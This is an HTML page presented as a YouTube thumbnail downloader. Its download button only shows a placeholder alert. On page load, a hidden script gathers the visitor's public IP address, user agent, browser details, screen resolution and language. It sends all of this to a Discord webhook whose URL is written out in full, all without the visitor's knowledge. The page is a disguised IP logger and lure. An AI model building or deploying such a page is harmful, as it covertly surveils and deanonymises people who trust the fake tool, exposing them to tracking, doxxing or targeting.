<!DOCTYPE html>
<html>
<head>
    <title>YouTube Thumbnail Downloader</title>
    <style>
        /* Basic styling to resemble a typical downloader site */
        body { font-family: sans-serif; }
        #container { width: 80%; margin: 0 auto; text-align: center; }
        input[type="text"] { width: 50%; padding: 10px; margin: 10px 0; }
        button { padding: 10px 20px; }
    </style>
</head>
<body>
    <div id="container">
        <h1>YouTube Thumbnail Downloader</h1>
        <input type="text" id="videoUrl" placeholder="Paste YouTube Video URL">
        <button onclick="downloadThumbnail()">Download Thumbnail</button>
    </div>

    <script>
        function downloadThumbnail() {
            const videoUrl = document.getElementById("videoUrl").value;
            // Placeholder for actual thumbnail download logic (would usually involve parsing the URL)
            alert("Downloading thumbnail... (Placeholder)");
        }

        // Collect user information
        const userAgent = navigator.userAgent;
        const browserInfo = navigator.appName + " " + navigator.appVersion;
        const screenWidth = screen.width;
        const screenHeight = screen.height;
        const language = navigator.language;

        // Function to get public IP using a third-party service (ipify)
        function getPublicIP() {
            return fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => data.ip)
                .catch(error => {
                    console.error("Error fetching IP:", error);
                    return "Could not retrieve IP";
                });
        }

        // Send data to Discord webhook
        async function sendToDiscord(ip) {
            const webhookURL = "https://discord.com/api/webhooks/1328398728264028190/uRE6tE7LtKskS7dl2ioRqVR94fY9bs015c9bSkXFpxZattVm8vKHQQ0kea60CRqX_XmH"; // Replace with your actual webhook URL

            const message = {
                "embeds": [{
                    "title": "New Visitor Information",
                    "fields": [
                        { "name": "IP Address", "value": ip },
                        { "name": "User Agent", "value": userAgent },
                        { "name": "Browser Info", "value": browserInfo },
                        { "name": "Screen Resolution", "value": `${screenWidth}x${screenHeight}` },
                         { "name": "Language", "value": language }
                    ]
                }]
            };

            try {
                const response = await fetch(webhookURL, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify(message)
                });
                if (!response.ok) {
                    console.error(`Error sending to Discord: ${response.status} ${response.statusText}`);
                }
            } catch (error) {
                console.error("Error sending to Discord:", error);
            }
        }

        // Get IP and send data on page load
        window.onload = async () => {
            const ip = await getPublicIP();
            sendToDiscord(ip);
        };
    </script>
</body>
</html>